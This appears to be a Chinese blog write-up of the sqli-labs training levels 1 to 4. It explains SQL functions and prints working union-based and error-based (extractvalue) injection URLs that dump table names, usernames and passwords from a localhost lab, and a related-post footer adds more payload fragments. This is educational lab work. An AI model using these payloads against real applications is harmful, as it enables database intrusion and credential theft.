学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂

group_concat函数

将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果

同理的还有

concat_ws()

limit star,size用法

start:从第几条记录开始。

size:读取几条记录。

sqli-lab-1


关键代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

是被单引号包围,即字符型注入,写payload要末尾注释单引号

用concat_ws()可以加分隔符,便于判断

接下来查询当前数据库的表~  //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~

注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的

用limit查找所有的表名

显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回

接下来爆字段

用concat_wa()发现没用,于是用group_concat()

接下来就是爆字段内容了

paload格式为: select 字段名 from 表名

如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有-  即不能union 注入

接下来利用手工报错注入

介绍两个函数

extractvalue()

updatexml()

用法参考:

https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23

爆值

http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(password,'||',username) from users)))  %23

看sqli-labs

关键代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

  id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号

less-3

关键代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4

关键代码

$id = '"' . $id . '"';
//echo $id."\n";
//echo "<br>";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

id是被一对双引号包围的

发现加‘不报错

这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+

sqli-labs学习(less-1-less-4)的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. idea插件Lombok

    在spring boot 中,我们可以使用@Data标签,这样就不需要手动添加getter/setter方法了,但Idea会报错. 此时,我们需要安装Lombok插件,安装好插件后便可以解决这个问题. ...

  2. 直到黎明 Until Dawn 后感

    直到黎明 会免游戏.白金神作.近些年的恐怖电影都有游戏化的趋势,韩国的某岩vlog,美国的真心话大冒险,都把观众作为meta代入游戏,几乎模糊了游戏与游戏的边界,直到黎明这部电影,与当年的暴雨和超凡双 ...

  3. 从本机构建Linux应用程序VHD映像

    下图描述了总体的虚拟机映像的VHD生成,上传以及发布到 Azure 镜像市场的全过程: 具体步骤如下: 在本地计算机(Windows平台)上安装Hyper-V,并安装您所需要的虚拟机操作系统 在此操作 ...

  4. springMVC入门-06

    这一讲介绍更新操作的实现,更新操作在controller类中首先需要在前台通过某一字段获取对象之后,将对象放在controller类中的Model对象中,用于在update.jsp前台页面进行编辑操作 ...

  5. 【Redis】命令学习笔记——哈希(hash)(15个超全字典版)

    本篇基于redis 4.0.11版本,学习哈希(hash)相关命令. hash 是一个string类型的field和value的映射表,特别适合用于存储对象. 序号 命令 描述 实例 返回 HSET ...

  6. UITableView中cell点击的绚丽动画效果

    UITableView中cell点击的绚丽动画效果 本人视频教程系类   iOS中CALayer的使用 效果图: 源码: YouXianMingCell.h 与 YouXianMingCell.m / ...

  7. IE漏洞的调试心得

    在调试漏洞的过程中,个人感觉最棘手的就是ie浏览器的漏洞和flash player的漏洞了.这里打算记录一下学习过程中的心得(主要是基于uaf类),以方便新人学习. 首先,ie漏洞与众不同的是,程序的 ...

  8. 铁乐学python_day03-作业

    1.有变量name = "aleX leNb" 完成如下操作: 移除name变量对应的值两边的空格,并输出处理结果 n1 = name.strip() print(n1) 结果:a ...

  9. 第0篇 如何访问win10的C$等默认共享

    近日换新机器,装了win10,但想从旧机器访问win10的\\ip\D$拷数据过去,首先发现怎么也连不上win10的共享,于是把win10防火墙中“文件和打印机共享”的“专用”(即内网)勾选上终于可以 ...

  10. layer的alert图

    layer.alert("xxx",1); 1 2 3 4 5 6 7 8 9 10 11   12 13 14 15 16 17 及以后